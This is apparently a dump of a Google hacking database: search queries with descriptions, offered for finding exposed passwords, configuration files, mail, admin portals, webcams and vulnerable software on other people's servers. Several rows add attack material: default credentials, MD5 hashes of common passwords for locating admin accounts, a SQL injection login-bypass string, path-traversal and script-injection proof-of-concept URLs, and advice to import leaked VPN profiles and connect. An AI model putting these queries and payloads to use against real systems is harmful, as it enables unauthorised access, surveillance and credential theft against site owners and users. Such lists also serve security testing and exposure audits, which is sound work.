inurl:"usysinfo?login=true"	inurl:"usysinfo?login=true"	Dell OpenManage enables remote execution of tasks such as system configuration, imaging, application installation and support. It also used to track hardware and software inventory, to update configurations, drivers, OS and applications and to proactively monitor and correct fault conditionsDell OpenManage standards include the Common Information Model (CIM), Desktop Management Interface (DMI), Simple Network Management Protocol (SNMP), and Wired for Management (WfM).Another possible search for this is:"Log in." inurl:1311/servlet/
inurl:"/NSearch/AdminServlet"	inurl:"/NSearch/AdminServlet"	This search brings up results for Novell NetWare's Web Search Manager.. at best the sites will be password protected, at worst the site will require no authentication - allowing full control over a site's 'virtual search servers'.
"Netware * Home" inurl:nav.html	"Netware * Home" inurl:nav.html	Rather than submitting various searches for all kinds of NetWare related pages, Novell NetWare's Home Page is a good place to start for profiling the services available on a NetWare powered system. The results will often include all (or at least some) of the following links to different services on a system - including Server Certificates, iFolder, iManager, NetStorage, Enterprise Web Server Management and the Web Search Manager!
intext:"Error Message : Error loading required libraries."	intext:"Error Message : Error loading required libraries."	This throws up pages which contain "CGI ERROR" reports - which include the file (and line number) of the errors occurence, the version of Perl being used, detailed server information (of the form "Apache/1.3.27 (Unix) (Red-Hat/Linux) mod_ssl/2.8.12 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.3.2 mod_perl/1.26"), usernames, setup file

		names, form / query information, port and path information, etc.. perfect for system-profiling!
ext:reg "username=*" putty	ext:reg "username=*" putty	Putty registry entries. Contain username and hostname pairs, as well as type of session (sftp, xterm, etc).
allinurl:index.htm?cus?audio	allinurl:index.htm?cus?audio	This will find webcams made by Sweex, Orite and others. Supports motion detection, ftp, smtp and save to .avi. Needs ActiveX so works for IE/win only ..
intitle:"edna:streaming mp3 server" -forums	intitle:"edna:streaming mp3 server" -forums	Edna allows you to access your MP3 collection from any networked computer. This software streams your MP3s via HTTP to any MP3 player that supports playing off a remote connection (e.g. Winamp, FreeAmp, Sonique, XMMS).Stats pages were found (by klouw) with:"edna:*" intitle:"edna: Site Statistics"
intitle:"ePowerSwitch Login"	intitle:"ePowerSwitch Login"	With ePowerSwitch D4 Guard, up to four devices can be individually switched on and off, also with programmed switching states. The activated Guard function ensures exceptionally high equipment availability: continually monitors whether the connected IP-based devices are still active, it can automatically, without user input, reboot any crashed device.
ext:ini Version=4.0.0.4 password	ext:ini Version=4.0.0.4 password	The servU FTP Daemon ini file contains setting and session information including usernames, passwords and more. This is a more specific search for ServU passwords base on a previous dork by Cybercide.
inurl:orasso.wwsso_app_admin.ls_login	inurl:orasso.wwsso_app_admin.ls_login	Oracle provides a Single Sign-On solution which is quite widely spread as it integrates quite seemlessly into exisitng appllications (as Oracle says).If the link itself shows an empty page, try the directory below.
inurl:oraweb -	inurl:oraweb -site:oraweb.org	Oracle administrators tend to naming

site:oraweb.org		their servers ora* - maybe because they forget the name of their database all the time.So the Oracle webserver is very often named oraweb.
intitle:Group-Office "Enter your username and password to login"	intitle:Group-Office "Enter your username and password to login"	Group-Office is a Groupware suite containing a base system and different modules. The modules are designed in a way that groups of people can collaborate online.
intitle:"EverFocus. EDSR.applet"	intitle:"EverFocus.EDSR.applet"	The new EDSR-1600 (16-channel), EDSR-900 (9-channel) and EDSR-600 (6-channel) digital video recorders offer all digital video recording benefits and are easy to install and operate like a custom VCR. Moreover, the 16 & 9 channel devices are the first Digital Video Recorders with an integrated 16x4 basic matrix function. Existing multiplexers can be connected via a switch output. Alarms are managed via external alarm inputs and outputs.
inurl:netscape.ini	inurl:netscape.ini	There's a bunch of interesting info in netscape.ini1. Viewers: which multimedia viewers the firm or people are using2.Cookies3.Address Book4.Mail- If pop3 is used you will see login and password. 5.Java - will tell the attacker if his victim has Java enabled.6.URL History - The last sites visitedURL_1=http://edtech.xxxx.fi/URL_2=C:\Tx\ixxx_t3.htmURL_3=http://www.xxx.com/welcome/URL_4=http://xxx.netscape.com7.User Trusted External Applications
inurl:netscape.hst	inurl:netscape.hst	Netscape Bookmark List/History: So an attacker would be able to locate the bookmark and history list
inurl:"bookmark.htm"	inurl:"bookmark.htm"	Bookmarks for Netscape and various other browsers.
inurl:netscape.hst	inurl:netscape.hst	History for Netscape - So an attacker can read a user's browsing history.
"powered | performed by	"powered | performed by Beyond Security's Automated Scanning" -	This search finds Beyond Security reports. Beyond Security sells a box

Beyond Security's Automated Scanning" -kazaa -example	kazaa -example	which performs automated testing (the product is based on Nessus). The Beyond Security report will help an attacker find vulnerabile services at the attackees site.This dork was found by Jamuse. A cleanup was done by Wolveso. Please note: Both current (feb 2005) results are verifiable as samples - they're linked from pages on the sites they belong to, as sample reports. But you never know when Google might find some real one's to play with ?!
intitle:"EpsonNet WebAssist Rev"	intitle:"EpsonNet WebAssist Rev"	This reveals the Epson Web Assist page (internal to the machine)
"SquirrelMail version 1.4.4" inurl:src ext:php	"SquirrelMail version 1.4.4" inurl:src ext:php	date :Jan 30 2005 this search reveal the src/webmail.php which would allow acrafted URL to include a remote web page. This was assigned CAN-2005-0103by the Common Vulnerabilities and Exposures.-what can possibly be done :*A possible cross site scripting issue exists in src/webmail.php that isonly accessible when the PHP installation is running with register_globalsset to On.*A possible local file inclusion issue was uncovered by one of ourdevelopers involving custom preference handlers. This issue is onlyactive if the PHP installation is running with register_globals set to On.
inurl:na_admin	inurl:na_admin	This searches for the admin pages for a "Network Appliance" box. An authenticated user could get access to a their data - all of it, in fact up to 100's Tb of it. This is also part of cgi scanning tools like: http://www.cirt.net/nikto/UPDATES/1.34/scan_database.db
intitle:"Connection Status" intext:"Current login"	intitle:"Connection Status" intext:"Current login"	This is an intriguing way of finding various '5861 DMT Routers' - the presence of a web-interface to the router also indicates the presence of a telnet interface to the router!

intitle:"welcome to netware *" -site:novell.com	intitle:"welcome to netware *" -site:novell.com	Novell login portals offering various services storage, printing, email or LDAP access
intitle:"Brother" intext:"View Configuration" intext:"Brother Industries, Ltd."	intitle:"Brother" intext:"View Configuration" intext:"Brother Industries, Ltd."	Finds a real bunch of Brother printers
filetype:inc mysql_connect OR mysql_pconnect	filetype:inc mysql_connect OR mysql_pconnect	INC files have PHP code within them that contain unencrypted usernames, passwords, and addresses for the corresponding databases. Very dangerous stuff. The mysql_connect file is especially dangerous because it handles the actual connection and authentication with the database.
"IceWarp Web Mail 5.3.0" "Powered by IceWarp"	"IceWarp Web Mail 5.3.0" "Powered by IceWarp"	IceWarp Web Mail 5.3.0Multiple cross-site scripting and HTML injection vulnerabilities.http://www.securityfocus.com/bid/12396/
"Powered by DUpaypal" -site:duware.com	"Powered by DUpaypal" -site:duware.com	Here is another DUware product, DUpaypal. Once you get hold of the database it contains the admin username and password. The default by the way is admin/passwordThe default location for the database is ../_private/DUpaypal.mdb
-site:php.net -"The PHP Group" inurl:source inurl:url ext:pHp	-site:php.net -"The PHP Group" inurl:source inurl:url ext:pHp	scripts to view the source code of PHP scripts running on the server. Can be very interesting if it is also allowed to open configuration files ;-)
intitle:"switch login" "IBM Fast Ethernet Desktop"	intitle:"switch login" "IBM Fast Ethernet Desktop"	IBM 8275 Model 416 High Performance Ethernet Workgroup Switch
"Powered by Link Department"	"Powered by Link Department"	Link management script with advanced yet easy to use admin control panel, fully template driven appearance, static HTML front-end and email notifications.Below the link list a folder 'ld' exists which contains various juicy information like encrypted admin passwords and session data.

"Powered by MercuryBoard [v1"	"Powered by MercuryBoard [v1"	Exploit for MercuryBoard:http://www.securityfocus.com/archive/1/389881/2005-02-06/2005-02-12/0Enter the following search:"Powered by MercuryBoard [v1"And the exploit does work!
intitle:"Index of" sc_serv.conf sc_serv content	intitle:"Index of" sc_serv.conf sc_serv content	This dork lists sc_serv.conf files. These files contain information for Shoutcast servers and often contain cleartext passwords.Original dork: filetype:conf sc_serv.confCleaned by: c0wzClean date: 2005-04-26
intitle:"welcome to mono xsp"	intitle:"welcome to mono xsp"	XSD is the demo webserver for the Mono project and allows the execution of ASP.NET on Unix
intitle:"DEFAULT_CONFIG - HP"	intitle:"DEFAULT_CONFIG - HP"	High scalable Ethernet switches by HP running in the default configuration
intitle:"web server status" SSH Telnet	intitle:"web server status" SSH Telnet	simple port scanners for most common ports
intitle:opengroupware.org "resistance is obsolete" "Report Bugs" "Username" "password"	intitle:opengroupware.org "resistance is obsolete" "Report Bugs" "Username" "password"	Open groupware is a comprehensive open source groupware project running on all major platforms.
intitle:Linksys site:ourlinksys.com	intitle:Linksys site:ourlinksys.com	Ourlinksys.com DDNS entries pointing to Linksys web enabled cameras
intitle:"supervision cam protocol"	intitle:"supervisioncam protocol"	"SupervisionCam captures and compares images from video cameras, (internet) image files or the computer screen at intervals you define. It starts optional activities when a movement is detected."
inurl:getmsg.html intitle:hotmail	inurl:getmsg.html intitle:hotmail	These pages contain hotmail messages that were saved as HTML. These messages can contain anything from personal data to cleartext passwords.
"delete entries" inurl:admin/delete.asp	"delete entries" inurl:admin/delete.asp	As described in OSVDB article #13715:"AspJar contains a flaw that may allow a malicious user to delete arbitrary messages. The issue is triggered when the authentication

		method is bypassed and /admin/delete.asp is accessed directly. It is possible that the flaw may allow a malicious user to delete messages resulting in a loss of integrity."The company supporting this software is no longer in business and the software is no longer being updated. Therefore, versions should not matter in this dork.
inurl:camctrl.cgi	inurl:camctrl.cgi	Vivotec web cams
allintitle:Brains, Corp. camera	allintitle:Brains, Corp. camera	mmEye webcam / cam servermmEye is a multifunction multimedia server equipped with 32bit RISC CPU SH-3, and runs UNIX operating system (NetBSD).It has video input ports (1 S signal port, 2 composite signal ports) and PCMCIA Type II slots built in.
"Traffic Analysis for" "RMON Port * on unit *"	"Traffic Analysis for" "RMON Port * on unit *"	List of RMON ports produced by MRTG which is a network traffic analysis tool. See also #198
allintitle:aspjar.com guestbook	allintitle:aspjar.com guestbook	"An input validation vulnerability was reported in the ASPJar guestbook. A remote user can gain administrative access and can delete guestbook messages.The '/admin/login.asp' script does not properly validate user-supplied input in the password field. A remote user can supply the following characters in password field to inject SQL commands and be authenticated as the administrator:'" or "='I also found another vulnerability that hasn't been documented anywhere. Using the above search to find aspjar guestbooks, appending the guestbook directory with /data/guest.mdb will give you a database containing the plaintext username and password for the guestbook admin and all entries in the guestbook, including IP addresses of users.(This company is no longer in business and the software is no longer being updated so versions shouldn't matter)

filetype:sql ("values * MD5" | "values * password" | "values * encrypt")	filetype:sql ("values * MD5" | "values * password" | "values * encrypt")	Locate insert statements making use of some builtin function to encrypt a password. PASSWORD(), ENCRYPT() and MD5() are searched.
filetype:sql ("passwd values" | "password values" | "pass values")	filetype:sql ("passwd values" | "password values" | "pass values")	Find insert statements where the field (or table name) preceding the operator VALUES will be 'password' or 'passwd' or 'pass'. The rest of the statement should contain encrypted or plaintext password.An attacker can use these files to acquire database permissions that normally would not be given to the masses.
(inurl:81-cobalt | inurl:cgi-bin/.cobalt)	(inurl:81-cobalt | inurl:cgi-bin/.cobalt)	Cobal RaQ internal pages
inurl:WCP_USER	inurl:WCP_USER	WebConnect is client-server based software that provides secure browser based emulation to mainframe, midrange and UNIX systems
intitle:"Dell Laser Printer" ews	intitle:"Dell Laser Printer" ews	Finds Dell's printers with EWS.EWS : Embedded Web Server technology enables the usage of a standard web browser to manage many aspects of the printer, for example, view consumable life, configure network parameters, view serial number information, printer usage etc..
intitle:"Kurant Corporation StoreSense" filetype:bok	intitle:"Kurant Corporation StoreSense" filetype:bok	These are Kurant StoreSense admin logon pages.
intitle:"active webcam page"	intitle:"active webcam page"	searches for "Active Webcam" feeds on websites, a popular USB webcam interface.
"powered by CubeCart 2.0"	"powered by CubeCart 2.0"	This search reveals an alarming number of servers running versions of Brooky CubeCart that are reported to be prone to multiple vulnerabilities due to insufficient sanitization of user-supplied data....susceptible to a remote directory traversal vulnerability...cross-site scripting vulnerability may allow

		for theft of cookie-based authentication credentials or other attacks.An exploit is not required.The following proof of concept examples are available:http://www.example.com/index.php?&language=../../../../../../../../etc/passwdhttp://www.example.com/index.php?&language=var%20test_variable=31337;alert(test_variable); Vulnerability was published 2-14-2005http://www.securityfocus.com/bid/12549/
filetype:ora tnsnames	filetype:ora tnsnames	This searches for tns names files. This is an Oracle configuration file that sets up connection strings for someone's Oracle client to contact the various databases it is managing. This file contains ports, IP's and server names of these database machines. What I think is more telling is that in most cases, this file is stored in Oracle's installation directory which can probably be more telling.
intitle:"Belarc Advisor Current Profile" intext:"Click here for Belarc's PC Management products, for large and small companies."	intitle:"Belarc Advisor Current Profile" intext:"Click here for Belarc's PC Management products, for large and small companies."	People who have foolishly published an audit of their machine(s) on the net with some server info as well
intitle:"SuSE Linux Openexchange Server" "Please activate JavaScript!"	intitle:"SuSE Linux Openexchange Server" "Please activate JavaScript!"	Another way to find the web administration portal of linux open exchange servers.
inurl:"suse/login.pl"	inurl:"suse/login.pl"	More Suse login portals, mostly Open Exchange.
intitle:HomeSeer.Web.Control | Home.Status.Events.Log	intitle:HomeSeer.Web.Control | Home.Status.Events.Log	HomeSeer (http://www.homeseer.com/) provides a well known home automation solution (software + hardware)This

		dork will find web interfaces of homeseer.
Powered.by.RaidenHTTPD intitle:index.of	Powered.by.RaidenHTTPD intitle:index.of	RaidenHTTPD (http://www.raidenhttpd.com/en) is a full featured web server software for Windows
filetype:ini Desktop.ini intext:mydocs.dll	filetype:ini Desktop.iniintext:mydocs.dll	This dork finds any webshared windows folder inside my docs. You can change the end bit "intext:mydocs.dll" by looking inside any of your your own folders on your pc, looking for the desktop.ini file and add some of the information to the query. For Anouther example - Shell Folders (Favourite etc) filetype:ini Desktop.iniintext:shell32.dllEnjoy
"#mysql dump" filetype:sql 21232f297a57a5a743894a0e4a801fc3	"#mysql dump" filetype:sql 21232f297a57a5a743894a0e4a801fc3	this is a mod of one of the previous queries posted in here. the basic thing is, to add this:21232f297a57a5a743894a0e4a801fc3to your query, that oryginally results in a username lists with a MD5 encrypted password.this one finds mysql dumps with for a users who's passwordsare "admin" :)the "21232f297a57a5a743894a0e4a801fc3" is md5 result for "admin"you can try it with other queris on this site.use also:63a9f0ea7bb98050796b649e85481845 for root098f6bcd4621d373cade4e832627b4f6 for test3c3662bcb661d6de679c636744c66b62 for sexf561aaf6ef0bf14d4208bb46a4ccb3ad for xxxif you'll get lucky, you'll get a username, and a encryoted password, witch is the one above that u used.remember, that this works for all files that contain plaintex username and md5 encrypted passwords. use this techniq with other queris that you'll find hereuff... i hope i made my self clear.
allinurl:wps/portal/	allinurl:wps/portal/ login	Login to IBM WebSphere Portal.You

login		may find portals using standard administrator user/password which gave you complete access to the application itself.
intitle:asterisk.management.portal web-access	intitle:asterisk.management.portal web-access	Coalescent Systems Inc. launched The Asterisk Management Portal project to bring together best-of-breed applications to produce a "canned" (but fully functional) turn-key small business phone system based on The Asterisk Open Source PBX.
intitle:"Flash Operator Panel" -ext:php -wiki -cms -inurl:asternic -inurl:sip -intitle:ANNOUNCE -inurl:lists	intitle:"Flash Operator Panel" -ext:php -wiki -cms -inurl:asternic -inurl:sip -intitle:ANNOUNCE -inurl:lists	Flash Operator Panel is a switchboard type application for the Asterisk PBX. It runs on a web browser with the flash plugin. It is able to display information about your PBX activity in real time.
ext:txt inurl:unattend.txt	ext:txt inurl:unattend.txt	the unattend.txt is used to drive unanttended MS Windows installations. The files contain all information for a Windows information including Administrator's passwords, IP addresses and product IDs.
filetype:inf sysprep	filetype:inf sysprep	sysprep is used to drive unanttended MS Windows installations. The files contain all information for a Windows information including Administrator's passwords, IP addresses and product IDs.
intitle:"Service Managed Gateway Login"	intitle:"Service Managed Gateway Login"	service Managed Gateway from VirtualAccess login page
"Powered by UebiMiau" -site:sourceforge.net	"Powered by UebiMiau" -site:sourceforge.net	UebiMiau is a simple, yet efficient cross-plataform POP3/IMAP mail reader written in PHP. It's have some many features, such as: Folders, View and Send Attachments, Preferences, Search, Quota Limit
inurl:webmail./index.pl "Interface"	inurl:webmail./index.pl "Interface"	Webmail system which reveals that the website is hosted by vDeck
intitle:"BorderWare MXtreme Mail	intitle:"BorderWare MXtreme Mail Firewall Login"	BorderWare MXtreme Mail firewallMXtreme is a hardened

Firewall Login"		appliance with a highly robust mail transfer agent (MTA) and email gateway that prevents email-borne threats from entering your network while protecting against spam and viruses.
intitle:"actiontec" main setup status "Copyright 2001 Actiontec Electronics Inc"	intitle:"actiontec" main setup status "Copyright 2001 Actiontec Electronics Inc"	Actiontec Routers.
Powered.by:.vBulletin.Version ...3.0.6	Powered.by:.vBulletin.Version ...3.0.6	vBulletin is reported prone to an arbitrary PHP script code execution vulnerability. The issue is reported to exist due to a lack of sufficient input sanitization performed on user-supplied data before this data is included in a dynamically generated scripthttp://www.securityfocus.com/bid/12622/info/
intitle:"VMware Management Interface:" inurl:"vmware/en/"	intitle:"VMware Management Interface:" inurl:"vmware/en/"	VMware GSX Server is enterprise-class virtual infrastructure software for x86-based servers. It is ideal for server consolidation, disaster recovery and streamlining software development processes.
filetype:php intitle:"paNews v2.0b4"	filetype:php intitle:"paNews v2.0b4"	PaNews is reported prone to a remote PHP script code execution vulnerability. It is reported that PHP script code may be injected into the PaNews software through the 'showcopy' parameter of the 'admin_setup.php' script. http://www.securityfocus.com/bid/12611
"Webthru User Login"	"Webthru User Login"	samsung webthru cameras
ext:cgi intitle:"control panel" "enter your owner password to continue!"	ext:cgi intitle:"control panel" "enter your owner password to continue!"	Free Perl Guestbook (FPG) administration page. Only a password is needed to logon.
intitle:"ListMail Login" admin -	intitle:"ListMail Login" admin - demo	Listmail mailinglist manager admin logon

demo		
intitle:"Test Page for the Apache HTTP Server on Fedora Core" intext:"Fedora Core Test Page"	intitle:"Test Page for the Apache HTTP Server on Fedora Core" intext:"Fedora Core Test Page"	Apache 2.0 on Fedore Core Test page
"Powered by: vBulletin Version 1.1.5"	"Powered by: vBulletin Version 1.1.5"	This google dork reveals vulnerable message boards. It works for all Vbulletin version up to 2.0 beta 2. To try for other versions just change the version number in the dork.These vulnerable message boards allow remote code execution.More on this can be found here:http://www.securiteam.com/securitynews/5IP0B203PI.htmlit has a fairly good explanation of the exploits incorporated with these versions.
wwwboard WebAdmin inurl:passwd.txt wwwboard|webadmin	wwwboard WebAdmin inurl:passwd.txt wwwboard|webadmin	This is a filtered version of previous 'inurl:passwd' searches, focusing on WWWBoard [1]. There are different crypt functions involved [2], but the default username and password is 'WebAdmin:WebBoard' without the quotes. This is my first Googledork entry, so be gentle :)Funny enough, many of the DES hashes seem to use a salt of "ae". I tried just using this string along with the inurl portion, but it seemed to inappropriately restrict the search. Couple this with [3] and, um, yeah.cykyc[1]http://www.scriptarchive.com/wwwboard.html[2]http://www.scriptarchive.com/faq/wwwboard.html#q2[3]http://johnny.ihackstuff.com/index.php?module=prodreviews&func=showcontent&id=625
intitle:asterisk.management.portal web-access	intitle:asterisk.management.portal web-access	VOXBOX Asterisk web management. Allows to manage Asterisk configuration like calls and SIP settings.
intitle:index.of /maildir/new/	intitle:index.of /maildir/new/	search gives you a mailbox dir. Contains a lot of mails.

intitle:"Flash Operator Panel" -ext:php -wiki -cms -inurl:asternic -inurl:sip -intitle:ANNOUNCE -inurl:lists	intitle:"Flash Operator Panel" -ext:php -wiki -cms -inurl:asternic -inurl:sip -intitle:ANNOUNCE -inurl:lists	Flash Operator Panel is a switchboard type application for the Asterisk PBX. It runs on a web browser with the flash plugin. It is able to display information about your PBX activity in real time.
"Powered by Coppermine Photo Gallery" ("v1.2.2 b" | "v1.2.1" | "v1.2" | "v1.1" | "v1.0")	"Powered by Coppermine Photo Gallery" ("v1.2.2 b" | "v1.2.1" | "v1.2" | "v1.1" | "v1.0")	Reportedly Coppermine Photo Gallery is prone to multiple input validation vulnerabilities, some of which may lead to arbitrary command execution. These issues are due to the application failing to properly sanitize and validate user-supplied input prior to using it in dynamic content and system command execution function calls.These issues may be exploited to steal cookie based authentication credentials, map the application root directory of the affected application, execute arbitrary commands and include arbitrary files. Other attacks are also possible.http://www.securityfocus.com/bid/10253/
WebLog Referrers	allinurl:"weblog/referrers"	ExpressionEngine is a modular, flexible, feature-packed web publishing system that adapts to a broad range of needs.
inurl:bin.welcome.sh | inurl:bin.welcome.bat | intitle:eHealth.5.0	inurl:bin.welcome.sh | inurl:bin.welcome.bat | intitle:eHealth.5.0	eHealth, a network management solution, enables its users to manage performance and availability of LANs, WANs, routers, Switches, Frame Relay, ATM, Remote Access Equipment, QoS, Wireless LAN, DAL, Voice and Cable technologies.
yaws.*.server.at	yaws.*.server.at	YAWS (http://yaws.hyber.org), Yet Another Web Server, is a HTTP high perfomance 1.1 webserver. Yaws is entirely written in Erlang, furthermore it is a multithreaded webserver where one Erlang light weight process is used to handle each client.
intitle:"IPC@CHIP Infopage"	intitle:"IPC@CHIP Infopage"	web server detection for IPC@chip embedded webserverThe dork uses the

		webserver's infopage which reveals some very interesting information.See securityfocus advisory for more info: http://www.securityfocus.com/bid/2767
thttpd webserver	intitle:"Index of *" mode links bytes last-changed name	thttpd is is a webserver written in C and should compile and run on most unix-like systems. As of version 2.20 or later, thttpd is known to build and run on the following platforms, usually on at least recent platform versions: * FreeBSD* NetBSD* BSD/OS* Solaris* Tru64 / DIGITAL UNIX / OSF/1* SunOS* Linux* HP-UX* MacOS X* UnixWare* AMIGAOS* NCR MP-RAS BASE 3.02 (EISA/MCA)* Sega Dreamcast* Compaq iPaq 3765* Windows 2000/XP (port of 2.07 only)
intitle:"OfficeConnect Wireless 11g Access Point" "Checking your browser"	intitle:"OfficeConnect Wireless 11g Access Point" "Checking your browser"	OfficeConnect Wireless 11g Access Point
powered.by.instaBoard.version.1.3	powered.by.instaBoard.version.1.3	InstaBoard is a coldfusion forum solution. In its version 1.3 it is vulnerable to SQL Injection.Bugtraq ID 7338
intitle:"Lexmark *" inurl:port_0	intitle:"Lexmark *" inurl:port_0	Lexmark printers (4 models)
inurl:/en/help.cgi "ID=*"	inurl:/en/help.cgi "ID=*"	Aficio printers (this search locates the help pages)
intitle:jdewshlp "Welcome to the Embedded Web Server!"	intitle:jdewshlp "Welcome to the Embedded Web Server!"	HP Officejet help page. Remove "help.html" for main page.
"display printer status" intitle:"Home"	"display printer status" intitle:"Home"	Xerox Phaser printers.
inurl:JPGLogin.htm	inurl:JPGLogin.htm	webserver detection for GeoHttpServer, the page is the login page or guest cam. Don't ask why these are mostly doggy cams, weirdness.

intitle:"Welcome to Windows Small Business Server 2003"	intitle:"Welcome to Windows Small Business Server 2003"	Another way to find Small Business Server 2003, for more results check the dork by JimmyNeutron (id=763).
intitle:"OfficeConnect Cable/DSL Gateway" intext:"Checking your browser"	intitle:"OfficeConnect Cable/DSL Gateway" intext:"Checking your browser"	This query allows you to find OfficeConnect Cable/DSL Gateways, by locating the browser-check page that Google has indexed. The browser-check page leads to a login page, which kindly informs you of the default password.
intext:"Powered by phpBB 2.0.13" inurl:"cal_view_month.php"|inurl:"downloads.php"	intext:"Powered by phpBB 2.0.13" inurl:"cal_view_month.php"|inurl:"downloads.php"	phpBB 2.0.13 with installed Calendar Pro MOD are vulnerable to SQL injection attacks. An attacker can download the MD5 hashes from the account databse without authorization.
Netscape Application Server Error page	intitle:"404 SC_NOT_FOUND"	This error message highlights potentially unpatched or misconfigured Netscape Application Server or iPlanet application servers. An inquisitive mind would probably want to manually alter the URL's returned by this query, just to see what other, more informative messages might be revealed. As these servers are already exhibiting a misconfiguration, this could lead to other vulnerabilities being discovered.Finally, these servers are running software that is a few years old now. An attacker may feel that because of this, there's a strong possibility that they're not patched-up fully either, making them potentially vulnerable to known exploits.
"SQL Server Driver][SQL Server]Line 1: Incorrect syntax near"	"[SQL Server Driver][SQL Server]Line 1: Incorrect syntax near" -forum -thread -showthread	you can find many servers infected with sql injection
intext:"vbulletin" inurl:admincp	intext:"vbulletin" inurl:admincp	vBulletin Admin Control Panel
intitle:"inc. vpn 3000 concentrator"	intitle:"inc. vpn 3000 concentrator"	This search will show the login page for Cisco VPN 3000 concentrators. Since the default user id and password

		are readily available on the Cisco website, an out-of-the-box or test device could be wide open to mischief.
Winamp Web Interface	"About Winamp Web Interface" intitle:"Winamp Web Interface"	Just a bit of fun, should reveal a few instances of a Winamp HTTP control program. Without login, you can't do much except see the currently playing track. With login you can have a bit more fun by changing the volume, currently playing track, viewing playlists, etc. With admin access you can delete tracks... I'll leave it to others to find out if anything cool can be done with this.Just a note, you *can't* hear the music the person is playing, it's not a stream interface, just a control interface.
intitle:ilohamail intext:"Version 0.8.10" "Powered by IlohaMail"	intitle:ilohamail intext:"Version 0.8.10" "Powered by IlohaMail"	some version of ilohamail are vulnerable.
intitle:ilohamail "Powered by IlohaMail"	intitle:ilohamail "Powered by IlohaMail"	IlohaMail is a light-weight yet feature rich multilingual webmail system designed for ease of use, written in pure PHP. It supports web-access to IMAP and POP3 accounts, and includes a complete contacts feature and other PIM features.
intitle:"NeroNET - burning online"	intitle:"NeroNET - burning online"	NeroNet is an online burning device by Nero. Basically with this query you'll get a listing of active servers running the software. You can only do things like view active jobs users and the see what disc the server is burning on. However if you manage to log in as the Administrator you can have a bit more fun like change the server and recording settings. Well they were smart enough to convienently place the default password located within the softwares manual.
"Parse error: parse error, unexpected T_VARIABLE"	"Parse error: parse error, unexpected T_VARIABLE" "on line" filetype:php	PHP error with a full web root path disclosure

"on line" filetype:php		
"MacHTTP" filetype:log inurl:machttp.log	"MacHTTP" filetype:log inurl:machttp.log	MacHTTP is an webserver for Macs running OS 6-9.x. It's pretty good for older Macs but the default install leaves the MacHTTP.log file open to access.
ext:ics ics	ext:ics ics	ICalender Fileder that can contain a lot of useful information about a possible target.
intitle:"Default PLESK Page"	intitle:"Default PLESK Page"	Plesk Server Administrator (PSA) is web based software that enables remote administration of web servers. It can be used on Linux and other systems that support PHP.The default page is an indication that no configuration has been done (yet) for the domain
ext:plist filetype:plist inurl:bookmarks.plist	ext:plist filetype:plist inurl:bookmarks.plist	These Safari bookmarks that might show very interesting info about a user's surfing habits
intitle:"Zope Help System" inurl:HelpSys	intitle:"Zope Help System" inurl:HelpSys	By itself, this returns Zope's help pages. Manipulation of the URL, changing 'HelpSys' to 'manage', gives a link to a server's Zope Management Interface. While this requires authentication, sometimes overly revealing error messages are returned.
ext:jbf jbf	ext:jbf jbf	There is a full path disclosure in .jbf files (paint shop pro), which by itself is not a vulnerability, but it becomes interesting when uploaded or used on webservers. Use a tool like 'strings' to read the ascii parts, the path is on the top of the file.
"Please use Netscape 2.0 or enhance !!" -site:dlink.com -site:ovislink.com.tw	"Please use Netscape 2.0 or enhance !!" -site:dlink.com -site:ovislink.com.tw	A search for some HTML code used in a variety of D-link network devices (webcams and such).
intitle:"Welcome to the Advanced	intitle:"Welcome to the Advanced Extranet Server, ADVX!"	Webserver detection: The Advanced Extranet Server project aims to create

Extranet Server, ADVX!"		an extensible open source web server based on Apache.
inurl:cgi-bin inurl:bigate.cgi	inurl:cgi-bin inurl:bigate.cgi	Anonymous surfing with bigate.cgi. Remove http:// when you copy paste or it won't work.
ext:dhtml intitle:"document centre|(home)" OR intitle:"xerox"	ext:dhtml intitle:"document centre|(home)" OR intitle:"xerox"	Various Online Devices>Xerox (*Centre)
ext:DBF DBF	ext:DBF DBF	Dbase DAtabase file. Can contain sensitive data like any other database.
ext:CDX CDX	ext:CDX CDX	Visual FoxPro database index
ext:ccm ccm -catacomb	ext:ccm ccm -catacomb	Lotus cc:Mail Mailbox file
ext:DCA DCA	ext:DCA DCA	IBM DisplayWrite Document Content Architecture Text File
intitle:"ERROR: The requested URL could not be retrieved" "While trying to retrieve the URL" "The following error was encountered:"	intitle:"ERROR: The requested URL could not be retrieved" "While trying to retrieve the URL" "The following error was encountered:"	squid error messages, most likely from reverse proxy servers.
!Host=*.* intext:enc_UserPassword=* ext:pcf	!Host=*.* intext:enc_UserPassword=* ext:pcf	some people actually keep their VPN profiles on the internet...omg... Simply donwload the pcf file, import it in your Cisco VPN client and try to connect
intitle:"Welcome To Your WebSTAR Home Page"	intitle:"Welcome To Your WebSTAR Home Page"	This is the default page for the WebSTAR (Macintosh) web server (Headers say --> Server: WebSTAR NetCloak).
inurl:gnatsweb.pl	inurl:gnatsweb.pl	GNU GNATS is a set of tools for tracking bugs reported by users to a central site. It allows problem report management and communication with users via various means. GNATS stores all the information about problem reports in its databases and provides tools for querying, editing, and maintenance of the databases.
intitle:"site	intitle:"site administration: please	Real Estate software package, with the

administration: please log in" "site designed by emarketsouth"	log in" "site designed by emarketsouth"	admin login screen
intitle:"YALA: Yet Another LDAP Administrator"	intitle:"YALA: Yet Another LDAP Administrator"	YALA is a web-based LDAP administration GUI. The idea is to simplify the directory administration with a graphical interface and neat features, though to stay a general-purpose programThe goal is to simplify the administration but not to make the YALA user stupid: to achieve this, we try to show the user what YALA does behind the scenes, what it sends to the server
intitle:open-xchange inurl:login.pl	intitle:open-xchange inurl:login.pl	Open-Xchange 5 is a high performance substitute for costly and inflexible Microsoft Exchange deployments -- with the full functionality of a mature collaboration platform. OX 5 will not only manage appointments and tasks, it will take care of email, calendar, contacts, to do's, projects, documents, search and forums. With OX, you can manage information using bookmarks that are linked to a wide variety of data objects, such as emails, spreadsheets and/or presentations. Open-XchangeT 5 allows you to connect to Microsoft Outlook and devices using the Palm OS. Based on proven open source technologies, OX 5 offers best-of-class security through anti-virus and anti-spam utilities.
intitle:"Document title goes here" intitle:"used by web search tools" " example of a simple Home Page"	intitle:"Document title goes here" intitle:"used by web search tools" " example of a simple Home Page"	IBM Http Server (AS/400)
intitle:"Freifunk.Net - Status" - site:commando.de	intitle:"Freifunk.Net - Status" - site:commando.de	Hacked WRT54G Freifunk firmware. The router is based on Linux so after the GPL the source code must be published. some guys from freifunk.net

		have modified it for their needs.
intitle:index.of WEB-INF	intitle:index.of WEB-INF	Finds java powered web servers which have indexing enabled on their config directory
